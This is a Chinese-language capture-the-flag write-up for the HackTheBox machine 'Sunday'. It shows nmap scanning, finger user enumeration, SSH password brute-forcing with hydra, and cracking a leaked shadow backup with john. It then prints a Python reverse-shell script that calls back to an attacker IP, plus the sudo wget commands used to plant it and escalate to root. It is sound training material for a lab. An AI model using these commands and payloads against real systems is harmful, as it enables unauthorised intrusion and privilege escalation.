HackTheBox::Sunday

0x00 信息收集

nmap -Pn -sV -A -T 4 10.10.10.76 //A,综合扫描,代表了–script,-O 等参度数。
经过第一次扫描发现大多关闭的端口也被扫到,所以增加端口参数进行扫描。
nmap -Pn -sV -A -T 4 -p 1-65535 10.10.10.76

PORT      STATE SERVICE VERSION
79/tcp    open  finger  Sun Solaris fingerd
|_finger: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
41866/tcp open  unknown
45987/tcp open  unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

发现79开放了finger服务,以下是finger服务的一些简介:

finger服务:显示有关运行 Finger 服务或 Daemon 的指定远程计算机(通常是运行 UNIX 的计算机)上用户的信息。该远程计算机指定显示用户信息的格式和输出。如果不使用参数,Finger 将显示帮助。
相关用法:
finger [-l] [User] [@Host] [...]
可利用点:
Finger服务可用于查询用户的信息,包括网上成员的真实姓名、用户名、最近登录时间和地点等,也可以用来显示当前登录在机器上的所有用户名,这对于入侵者来说是无价之宝。因为它能告诉入侵者在本机上的有效登录名,然后入侵者就可以注意它们的活动。

ssh服务开在了22022端口,不是默认端口的话极有可能存在问题。

0x01 漏洞利用

关于finger的利用,google了以下可能会利用的地方
http://pentestmonkey.net/tools/user-enumeration/finger-user-enum
https://github.com/pentestmonkey/finger-user-enum

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
######## Scan started at Sat May 23 21:40:17 2020 #########
access@10.10.10.76: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..
bin@10.10.10.76: bin             ???                         < .  .  .  . >..
dee dee@10.10.10.76: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..
jo ann@10.10.10.76: Login       Name               TTY         Idle    When    Where..jo                    ???..ann                   ???..
la verne@10.10.10.76: Login       Name               TTY         Idle    When    Where..la                    ???..verne                 ???..
line@10.10.10.76: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..
message@10.10.10.76: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..
miof mela@10.10.10.76: Login       Name               TTY         Idle    When    Where..miof                  ???..mela                  ???..
sammy@10.10.10.76: sammy                 pts/2        <Apr 24, 2018> 10.10.14.4          ..
sunny@10.10.10.76: sunny                 pts/3        <Apr 24, 2018> 10.10.14.4          ..
sys@10.10.10.76: sys             ???                         < .  .  .  . >..
zsa zsa@10.10.10.76: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..
######## Scan completed at Sat May 23 22:46:27 2020 #########
12 results.

得到了两个可能存在利用点的用户名 sammy和sunny,尝试利用这两个用户名进行ssh连接
首先利用hydra爆破密码

hydra -l sammy -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -s 22022 10.10.10.76 ssh
hydra -l sunny -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -s 22022 10.10.10.76 ssh


利用ssh登录sunny

ssh sunny@10.10.10.76 -p 22022

但是在/home/sunny下未发现user.txt,在/home/sammy/Desktop下发现了user.txt,但是无权访问
所以下一步目标是登录sammy用户
在/Backup下发现了一个文件 shadow.backup,打开后发现了加密后的密码

sammy: 5 5 5Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny: 5 5 5iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

将sammy用户的密码拷贝出来,利用john破解密码

john --wordlist=/usr/share/wordlists/rockyou.txt sammy

最后得到密码 cooldude!

0x02 权限提升

目标机器中有wget服务,以及python环境。
以下是python反弹shell的脚本

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.92",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

通过sudo -l得知sunny用户下/root/troll可以不需要root密码就可以运行,sammy用户下/root/wget不需要root密码就可以运行。
因此通过sammy用户wget脚本覆盖文件/root/troll,然后登录用户sunny就可以获得shell
用户sammy

sudo wget -O /root/troll http://10.10.16.92:8080/shell.py

用户sunny

sudo /root/troll

0x03 补充

由于/root/troll五秒就会刷新,所以同时打开sunny和sammy,同时输入命令才能得到反弹的shell
同理,上述方法可利用与修改passwd文件
其他思路
利用wget替换shadow文件,替换root的密码未sunny或sammy
利用wget,更改/etc/sudoers文件,把sammy的/usr/bin/wget替换为/usr/bin/su

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值